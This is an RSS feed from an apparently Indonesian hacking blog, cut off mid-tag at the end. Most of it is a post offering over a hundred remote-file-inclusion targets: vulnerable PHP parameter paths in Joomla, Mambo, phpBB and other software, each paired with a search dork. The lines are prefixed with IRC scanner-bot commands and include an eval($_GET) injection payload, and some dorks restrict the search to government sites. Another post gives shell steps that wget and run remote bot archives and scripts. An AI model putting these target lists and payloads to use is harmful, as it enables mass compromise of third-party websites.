<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>SoloTeaM Site</title>
	<atom:link href="http://soloteam.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://soloteam.wordpress.com</link>
	<description>Nothing Perfect Humans in The Worlds</description>
	<lastBuildDate>Fri, 17 Jun 2011 20:44:58 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='soloteam.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>SoloTeaM Site</title>
		<link>http://soloteam.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://soloteam.wordpress.com/osd.xml" title="SoloTeaM Site" />
	<atom:link rel='hub' href='http://soloteam.wordpress.com/?pushpress=hub'/>
		<item>
		<title>My Facebook..</title>
		<link>http://soloteam.wordpress.com/2010/06/17/my-facebook/</link>
		<comments>http://soloteam.wordpress.com/2010/06/17/my-facebook/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 18:48:54 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
		
		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=97</guid>
		<description><![CDATA[Estrada Masih SetiaBuat Lencana Anda<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=97&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><!-- Facebook Badge START --><a href="http://id-id.facebook.com/people/Estrada-Masih-Setia/1489273915" target="_TOP" style="font-family:&quot;font-size:11px;font-variant:normal;font-style:normal;font-weight:normal;color:#3B5998;text-decoration:none;" title="Estrada Masih Setia">Estrada Masih Setia</a><br /><a href="http://id-id.facebook.com/people/Estrada-Masih-Setia/1489273915" target="_TOP" title="Estrada Masih Setia"><img src="http://badge.facebook.com/badge/1489273915.2091.880676080.png" width="120" height="234" style="border:0;" /></a><br /><a href="http://id-id.facebook.com/facebook-widgets/" target="_TOP" style="font-family:&quot;font-size:11px;font-variant:normal;font-style:normal;font-weight:normal;color:#3B5998;text-decoration:none;" title="Buat lencana Anda sendiri!">Buat Lencana Anda</a><!-- Facebook Badge END --></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/97/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/97/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/97/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=97&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2010/06/17/my-facebook/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>

		<media:content url="http://badge.facebook.com/badge/1489273915.2091.880676080.png" medium="image" />
	</item>
		<item>
		<title>bug dorks for scaner</title>
		<link>http://soloteam.wordpress.com/2009/04/09/bug-dorks-for-scaner/</link>
		<comments>http://soloteam.wordpress.com/2009/04/09/bug-dorks-for-scaner/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 18:31:38 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[tips and trik]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=86</guid>
		<description><![CDATA[Exploits Bug Dork For Scanner. docs/front-end-demo/cart2.php?workdir= &#8220;inurl%3A%22aLogIn.php%22&#8243; docs/front-end-demo/cart2.php?workdir= inurl:hosting.php?spt= /bemarket/postscript/postscript.php?p_mode= /bemarket/ index.php?mode= inurl:&#8221;*.php?mode=join&#8221; friend /modules/icontent/include/wysiwyg/spaw_control.class.php?spaw_root= inurl:/modules/icontent modules/coppermine/themes/default/theme.php?THEME_DIR= Powered By Coppermine Photo Gallery v1.2.2b /phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= inurl:&#8221;phpwcms/index.php?id=&#8221; !scan modify.php?dir_module= allinurl%3Axfsection+site%3Ajp /modules/userstop/userstop.php?exbb[home_path]= Powered by ExBB index.php?page= allinurl%3Aindex.php%3Fpagedb%3D contenido/external/frontend/news.php?cfg[path][includes]= cms/front_content.php?idcat= /index.php?_REQUEST=&#38;_REQUEST%5boption%5d=com_content&#38;_REQUEST%5bItemid%5d=1&#38;GLOBALS=&#38;mosConfig_absolute_path= &#8220;Mambo&#8221; site:gov includes/include_once.php?include_file= allinurl%3A%2Fproduct_info.php%3Fcust_id%3D&#8221; mygallerybrowser.php?myPath= inurl:%22/mygallery/myfunctions/%22 admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir= &#8220;LimeSurvey&#8221; admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir= &#8220;LimeSurvey&#8221; admin/classes/pear/OLE/PPS/Root.php?homedir= &#8220;LimeSurvey&#8221; admin/classes/pear/OLE/PPS/File.php?homedir= &#8220;LimeSurvey&#8221; phpbb/sendmsg.php?phpbb_root_path= &#8220;Flashbb&#8221; PPPoE/admin_modules/admin_module_deldir.inc.php?config[path_src_include]= &#8220;Powered [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=86&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Exploits Bug Dork For Scanner.</strong></p>
<p>docs/front-end-demo/cart2.php?workdir= &#8220;inurl%3A%22aLogIn.php%22&#8243;<br />
docs/front-end-demo/cart2.php?workdir= inurl:hosting.php?spt=<br />
/bemarket/postscript/postscript.php?p_mode= /bemarket/<br />
index.php?mode= inurl:&#8221;*.php?mode=join&#8221; friend<br />
/modules/icontent/include/wysiwyg/spaw_control.class.php?spaw_root= inurl:/modules/icontent<br />
modules/coppermine/themes/default/theme.php?THEME_DIR= Powered By Coppermine Photo Gallery v1.2.2b<br />
/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= inurl:&#8221;phpwcms/index.php?id=&#8221;<br />
!scan modify.php?dir_module= allinurl%3Axfsection+site%3Ajp<br />
/modules/userstop/userstop.php?exbb[home_path]= Powered by ExBB<br />
index.php?page= allinurl%3Aindex.php%3Fpagedb%3D<br />
contenido/external/frontend/news.php?cfg[path][includes]= cms/front_content.php?idcat=<br />
/index.php?_REQUEST=&amp;_REQUEST%5boption%5d=com_content&amp;_REQUEST%5bItemid%5d=1&amp;GLOBALS=&amp;mosConfig_absolute_path= &#8220;Mambo&#8221; site:gov<br />
 includes/include_once.php?include_file= allinurl%3A%2Fproduct_info.php%3Fcust_id%3D&#8221;<br />
mygallerybrowser.php?myPath= inurl:%22/mygallery/myfunctions/%22<br />
admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir= &#8220;LimeSurvey&#8221;<br />
admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir= &#8220;LimeSurvey&#8221;<br />
admin/classes/pear/OLE/PPS/Root.php?homedir= &#8220;LimeSurvey&#8221;<br />
admin/classes/pear/OLE/PPS/File.php?homedir= &#8220;LimeSurvey&#8221;<br />
phpbb/sendmsg.php?phpbb_root_path= &#8220;Flashbb&#8221;<br />
PPPoE/admin_modules/admin_module_deldir.inc.php?config[path_src_include]= &#8220;Powered by yappa-ng 2.3.1&#8243;<br />
library/authorize.php?login_form= &#8220;PhpHostBot&#8221;<br />
historytemplate.php?cms[support]=1&amp;cms[tngpath]= &#8220;powered by The Next Generation of Genealogy Sitebuilding&#8221;<br />
index.php?page= inurl:index.php%&#8221;Submit%Articles&#8221;%&#8221;Member%Login&#8221;%&#8221;Top%Authors&#8221;<br />
!scan modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]= &#8220;Nuke ET Copyright ï¿½ 2004 por Truzone.&#8221;<br />
modules/admin/vw_usr_roles.php?baseDir= &#8220;dotProject logo&#8221;<br />
modules/Forums/admin/admin_users.php?phpbb_root_path= %22modules.php%3Fname%3DForums%22<br />
@scan 1000 includes/orderSuccess.inc.php?&amp;glob=1&amp;cart_order_id=1&amp;glob[rootDir]= &#8220;Powered+by+CubeCart+3.0.0&#8243;<br />
eva/imprim.php3?aide= &#8220;Eva-Web&#8221;<br />
index.php?s= index.php?s=<br />
!scan index.php?a= index.php?a=<br />
/xcart/config.php?xcart_dir= &#8220;X-CART. Powerful PHP shopping cart software&#8221;<br />
classes/phpmailer/class.cs_phpmailer.php?classes_dir= index.php?target=cart<br />
classes/phpmailer/class.cs_phpmailer.php?classes_dir= index.php?target=pages<br />
/ws/get_events.php?includedir= WebCalendar<br />
agenda2.php3?rootagenda= phpmyagenda<br />
modules/vwar/convert/mvcw_conver.php?step=1&amp;vwar_root=  inurl:&#8221;vwar&#8221;<br />
/templates/tmpl_dfl/scripts/index.php?dir[inc]= &#8220;Powered by : Dolphin Web Community Software&#8221;<br />
admin/business_inc/saveserver.php?thisdir= Confixx Professional<br />
protection.php?action=logout&amp;siteurl= PHPFanBase<br />
modify.php?dir_module= allinurl%3Axfsection<br />
classes/phpmailer/class.cs_phpmailer.php?classes_dir= inurl:cs-cart<br />
!scan wp-pass.php?_wp_http_referer= &#8220;powered by wordpress&#8221;<br />
.scan index.php?abs_path= index.php?action=viewcart<br />
/modules/4nAlbum/public/displayCategory.php?basepath= allinurl:modules.php?name=4nAlbum<br />
index.php?func= &#8220;Powered by FlashGameScript&#8221;<br />
sohoadmin/program/modules/mods_full/shopping_cart/includes/login.php?_SESSION[docroot_path]= inurl:&#8221;sohoadmin&#8221;<br />
sohoadmin/program/modules/mods_full/shopping_cart/includes/login.php?_SESSION%5Bdocroot_path%5D= inurl:&#8221;index.php?pr=Services&#8221;<br />
/include.php?path=psp/user.php&amp;site=psp/include.php?path=psp/user.php&amp;site= &#8220;Punktesystem Pro&#8221;<br />
ws/login.php?noSet=0&amp;includedir= &#8220;WebCalendar&#8221;<br />
!scan login.php?svr_rootscript= allinurl:order?page=plan_show<br />
modules/MDForum/includes/functions_admin.php?phpbb_root_path= &#8220;powered by MDForum&#8221;<br />
/newsboard//admin/addons/archive/archive.php?adminfolder= &#8220;/newsboard/&#8221;<br />
/modules/vwar/convert/mvcw_conver.php?step=1&amp;vwar_root= &#8220;/vwar/&#8221;<br />
anguage/lang_german/lang_main_album.php?phpbb_root_path= phpbbplus<br />
index.php?_REQUEST=&amp;_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path= &#8220;.uk/index.php&#8221;+&#8221;option&#8221;<br />
index.php?_REQUEST=&amp;_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path= &#8220;Powered by Mambo&#8221; site:br<br />
index.php?_REQUEST=&amp;_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path= &#8220;Powered by Mambo&#8221; site:il<br />
index.php?_REQUEST=&amp;_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&amp;GLOBALS=&amp;mosConfig_absolute_path= com_frontpage site:my<br />
eva/index.php3?aide= &#8220;Eva-Web&#8221;<br />
/vwar/convert/mvcw.php?step=1&amp;vwar_root= vwar<br />
/bin/TreeMenuXL.php?_SERVER[DOCUMENT_ROOT]= &#8220;HTML_TreeMenuXL<br />
/bin/TreeMenuXL.php?_SERVER[DOCUMENT_ROOT]= &#8220;HTML_TreeMenu&#8221;<br />
/photo_comment.php?toroot= ï¿½Exhibit Engine 1.5 RC 4&#8243;<br />
protection.php?action=logout&amp;siteurl= allinurl%3Amembers.php%3Fid%3Dall+site%3Anet<br />
/accounts/inc/include.php?language=0&amp;lang_settings[0][1]= &#8220;powered by Icewarp&#8221;<br />
plugins/safehtml/HTMLSax3.php?dir[plugins]= &#8220;powered by boonex&#8221;<br />
plugins/safehtml/HTMLSax3.php?dir[plugins]= &#8220;netcat require&#8221;<br />
/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a= &#8220;powered by CMS Made Simple version&#8221;<br />
includes/include_once.php?include_file= create_account.php?PHPSESSID=<br />
index.php?autoLoadConfig[999][0][autoType]=include&amp;autoLoadConfig[999][0][loadFile]= &#8220;Powered By Zen Cart&#8221;<br />
index.php?autoLoadConfig[999][0][autoType]=include&amp;autoLoadConfig[999][0][loadFile]= Copyright ï¿½ 2003-2006 Zen Cart<br />
/inc/header.php/step_one.php?server_inc= step_one.php?sid<br />
components/com_joomlalib/standalone/stubjambo.php?baseDir= com_joomap<br />
components/com_joomlalib/standalone/stubjambo.php?baseDir= com_jpgraph<br />
components/com_joomlalib/standalone/stubjambo.php?baseDir= com_letterman<br />
components/com_joomlalib/standalone/stubjambo.php?baseDir= com_swmenufree<br />
components/com_joomlalib/standalone/stubjambo.php?baseDir= com_bsq_sitestats<br />
components/com_livechat/livechat.html.php?mosConfig_absolute_path= com_livechat<br />
components/com_mypms/class.mypms.php?mosConfig_absolute_path= com_mypms<br />
/admin/classes/TplLoad.php?full_path_to_public_program= /TplLoad.php/<br />
/kboard.php?board=sightseeing&amp;cid=1&amp;PageNum=5//kboard/kboard.php?board=free&amp;act= /kboard.php?board=<br />
/index.php?abg_path= Africa Be Gone<br />
errors.php?error= &#8220;BoonEx- Community Software; Dating And Social Networking Scripts; Video Chat And More.&#8221;<br />
/?sIncPath= &#8220;BoonEx- Community Software; Dating And Social Networking Scripts; Video Chat And More.&#8221;<br />
/lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a= /index.php?mact=<br />
/LightTwoOh/sidebar.php?loadpage= phpAutoVide</p>
<p>/com_joomnik/admin.joomnik.html.php?mosConfig_absolute_path= com_joomnik<br />
/com_joomlaflashfun/admin.joomlaflashfun.php?= com_joomlaflashfun<br />
/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path= com_admin<br />
/administrator/components/com_x-shop/admin.x-shop.php?mosConfig_absolute_path= com_x-shop<br />
/administrator/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path= com_lurm_constructor<br />
!scan tools/send_reminders.php?noSet=0&amp;includedir= WebCalendar v1.0.4<br />
!scan modules/xoopsgallery/init_basic.php?GALLERY_BASEDIR= xoopsgallery<br />
!scan /config.inc.php?path_escape= XZero Community Classified<br />
!scan /php121adminconfig.php?mosConfig_absolute_path= PHP121<br />
!scan /common/db.php?commonpath= &#8220;samPHPweb&#8221;<br />
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= com_rss</p>
<p>path/bridge/yabbse.inc.php?sourcedir= Coppermine Photo Gallery<br />
!scan /lib/functions.php?DOC_ROOT= intitle:&#8221;OFFL &#8211; Login&#8221;<br />
!scan administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site= &#8220;/index.php?option=com_joomlaradiov5&#8243;</p>
<p>calogic/clmcpreload.php?CLPATH= calogic<br />
modules/Forums/admin/admin_db_utilities.php?phpbb_root_path= modules.php?name=<br />
modifyform.html?code= modifyform.html?*=*<br />
components/com_joomlalib/standalone/stubjambo.php?baseDir= com_frontpage<br />
# com_jce #	NEW BUG SECURITY PHP	9/15/07 10:05 pm<br />
# com_jim #	NEW BUG SECURITY PHP	9/15/07 9:12 pm<br />
# com_jreactions #	NEW BUG SECURITY PHP	9/15/07 8:56 pm<br />
# com_neoreferences #	NEW BUG SECURITY PHP	9/15/07 8:<br />
# com_quran #	NEW BUG SECURITY PHP	9/15/07 7:49 pm<br />
# com_datsogallery #	NEW BUG SECURITY PHP	9/15/07 7:47 pm<br />
# com_ricettario #	NEW BUG SECURITY PHP	9/15/07 7:38 pm<br />
# com_ab_calendar #	NEW BUG SECURITY PHP	9/15/07 7:14 p<br />
# com_joomlalib #	NEW BUG SECURITY PHP	9/15/07 6:27 pm</p>
<p>/language/lang_german/lang_main_album.php?phpbb_root_path=<br />
 &#8220;Powered by phpBB2 Plus&#8221;<br />
!scan administrator/components/com_jreactions/langset.php?comPath= Joomla J! Reactions<br />
!scan language/lang_english/lang_main_album.php?phpbb_root_path= phpbb inurl:album.php site:uk<br />
!scan /rconfig.inc.php?config[root_dir]= amember Pro / amember<br />
Solo @rfi /language/lang_english/lang_main_album.php?phpbb_root_path=  &#8220;Powered by phpBB2 Plus&#8221;<br />
administrator/components/com_ricettario/admin.ricettario.php?mosConfig_absolute_path= com_joomlaboard<br />
administrator/components/com_jreactions/panel.about.php?mosConfig_absolute_path= com_joomlaboard<br />
administrator/components/com_jreactions/panel.about.php?mosConfig_absolute_path= com_frontpage<br />
components/com_datsogallery/datsogallery.php?mosConfig_absolute_path= com_frontpage<br />
administrator/components/com_ricettario/admin.ricettario.php?mosConfig_absolute_path= com_frontpage<br />
mcconfig.php?CLPATH= calogic Philip Boone<br />
components/com_hotproperty/components/com_hotproperty/hotproperty.php?mosConfig_absolute_path= com_sobi2<br />
components/com_hotproperty/components/com_hotproperty/hotproperty.php?mosConfig_absolute_path= com_acajoom<br />
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir= &#8220;.tr./components&#8221; &#8220;.tr./components&#8221;<br />
components/com_contxtd/contxtd.class.php?mosConfig_absolute_path= com_contxtd<br />
administrator/components/com_joomla-visites/admin.joomla-visites.php?mosConfig_absolute_path= components/com_blastchatc/blastchatc.php?mosConfig_absolute_path=<br />
/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=<br />
/components/com_chronocontact/excelwriter/OLE.php?mosConfig_absolute_path=<br />
/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=<br />
/components/com_chronocontact/excelwriter/PEAR.php?mosConfig_absolute_path=<br />
administrator/components/com_uddeim/admin.uddeim.php?mosConfig_absolute_path= com_uddeim</p>
<p>components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path= com_rwcards<br />
administrator/components/com_rwcards/admin.rwcards.about.html.php?mosConfig_absolute_path= com_rwcards<br />
mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT= &#8220;Powered by SocketMail&#8221;<br />
modules/Forums/favorites.php?nuke_bb_root_path= Powered by Platinum 7.6.b.5<br />
!scan administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path= com_chronocontact<br />
includes/include_once.php?include_file= Click to View Our Catalog<br />
rconfig.inc.php?config[root_dir]= aMember PRO<br />
index.php?option=com_performs&amp;task=rss&amp;Itemid=&amp;mosConfig_absolute_path= com_performs<br />
/components/com_joomlalib/standalone/stubjambo.php?baseDir= com_performs<br />
!scan /_theme/breadcrumb.php?rootBase= &#8220;!new Female Celebrities&#8221;<br />
urlinn_includes/config.php?dir_ws= put a copy/past from URL<br />
/_inc/config.php?rootBase= &#8220;! Hide Your Friends &amp; Comments&#8221;<br />
!scan includes/functions_admin.php?phpbb_root_path= pNphpBB2<br />
tiny_includes/config.php?dir_ws= put a copy/past from URL<br />
/_theme/_siteColors.php?rootBase= &#8216;page generated in&#8217; time?<br />
!alls index.php.orig?option=com_performs&amp;task=rss&amp;Itemid=&amp;mosConfig_absolute_path= com_performs<br />
!alls index.php?option=com_joomlaxplorer&amp;task=rss&amp;Itemid=&amp;mosConfig_absolute_path= com_joomlaxplorer<br />
com_neolegal | com_dfcontact | com_massmail | com_syndicate |com_categories |com_newsfeeds | com_banners |<br />
index.php?_REQUEST=&amp;_REQUEST%5boption%5d=com_content&amp;_REQUEST%5bItemid%5d=1&amp;GLOBALS=&amp;mosConfig_absolute_path= 2004 Miro International Pty Ltd.<br />
administrator/components/com_chronocontact/excelwriter/OLE.php?mosConfig_absolute_path= com_chronocontact<br />
=============================<br />
administrator/components/com_gmajax/admin.gmajax.php?mosConfig_absolute_path=<br />
administrator/components/com_pinboard/install.pinboard.php?mosConfig_absolute_path=<br />
components/com_visualrecommend/visualrecommend.php?mosConfig_absolute_path=<br />
administrator/components/com_visualrecommend/admin.visualrecommend.php?mosConfig_absolute_path=<br />
components/com_visualrecommend/visualrecommend.html.php?mosConfig_absolute_path=<br />
components/com_utchat/utchat.php?mosConfig_absolute_path=<br />
components/com_google_maps/google_maps.php?mosConfig_absolute_path=<br />
/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=<br />
/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=<br />
/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=<br />
/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=<br />
/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=<br />
/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=<br />
administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= com_peoplebook<br />
/includes/orderSuccess.inc.php?glob=1&amp;cart_order_id=1&amp;glob[rootDir]= webshop<br />
/includes/orderSuccess.inc.php?glob=1&amp;cart_order_id=1&amp;glob[rootDir]= CubeCart<br />
/tools/send_reminders.php?includedir= day.php?date=<br />
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir= com_cropimage<br />
config/config_admin.php?INC= &#8220;Your Search Starts Here&#8221;<br />
 config_member.php?INC= &#8220;Your Search Starts Here&#8221;<br />
config/config_member.php?INC= &#8220;Your Search Starts Here&#8221;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/86/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=86&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/09/bug-dorks-for-scaner/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
		<item>
		<title>membuat bot eggdrop</title>
		<link>http://soloteam.wordpress.com/2009/04/03/membuat-bot-eggdrop/</link>
		<comments>http://soloteam.wordpress.com/2009/04/03/membuat-bot-eggdrop/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 19:33:03 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[Tutor]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=81</guid>
		<description><![CDATA[Langkah2 membuat Bot Eggdrop: Sebelumnya anda pastikan dulu ingin di load dimana botnya, disini ada 2 server yg bisa digunakan. Irc.Allnetwork.Org &#38; Irc.Byroe.Net. Setelah itu siapkan Shell dan langsung saja masukan semua comand ini ke dalam shell, tunggu botnya masuk kedalam chan km. Selamat Mencoba ### Irc.Allnetwork.Org ### 1. cd /var/tmp 2. wget geocities.com/jiwangdotus/eggmbonx.tar.gz 3. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=81&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Langkah2 membuat Bot Eggdrop:</p>
<p>Sebelumnya anda pastikan dulu ingin di load dimana botnya, disini ada 2 server yg bisa digunakan. Irc.Allnetwork.Org &amp; Irc.Byroe.Net. Setelah itu siapkan Shell dan langsung saja masukan semua comand ini ke dalam shell, tunggu botnya masuk kedalam chan km. Selamat Mencoba</p>
<p>### Irc.Allnetwork.Org ###</p>
<p>1. cd /var/tmp<br />
2. wget geocities.com/jiwangdotus/eggmbonx.tar.gz<br />
3. tar -zxvf eggmbonx.tar.gz<br />
4. cd mbonx<br />
5. wget geocities.com/jongke_city/chanary.txt<br />
6. mv chanary.txt chanary.conf<br />
7. ./nadya conf (nick-bot) (ident-bot) (ip-shell) (channel) (owner)<br />
contoh tuk no.7 : ./nadya conf Estrada-Bot Bot 202.135.14.21 solo_underground Estrada</p>
<p>8. cd scripts<br />
9. wget geocities.com/jongke_city/ sOlTecH.txt<br />
10. mv sOlTecH.txt ary.tcl<br />
11. ./autobotchk conf<br />
12. cd ..<br />
13. ./run conf [httpd]</p>
<p>### Irc.Byroe.Net ###</p>
<p>1. cd /var/tmp<br />
2. wget geocities.com/jiwangdotus/eggmbonx.tar.gz<br />
3. tar -zxvf eggmbonx.tar.gz<br />
4. cd mbonx<br />
5. wget geocities.com/script_help/chanary.txt<br />
6. mv chanary.txt chanary.conf<br />
7. ./nadya conf (nick-bot) (ident-bot) (ip-shell) (channel) (owner)<br />
contoh tuk no.7 : ./nadya conf Estrada-Bot Bot 202.135.14.21 solo_underground Estrada</p>
<p>8. cd scripts<br />
9. wget geocities.com/script_help/ sOlTecH.txt<br />
10. mv sOlTecH.txt ary.tcl<br />
11. ./autobotchk conf<br />
12. cd ..<br />
13. ./run conf [httpd]</p>
<p>Thx For ROZI my Owner </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/81/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/81/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/81/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/81/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/81/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/81/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/81/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/81/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/81/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/81/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/81/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/81/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/81/"><img alt="" border="0" 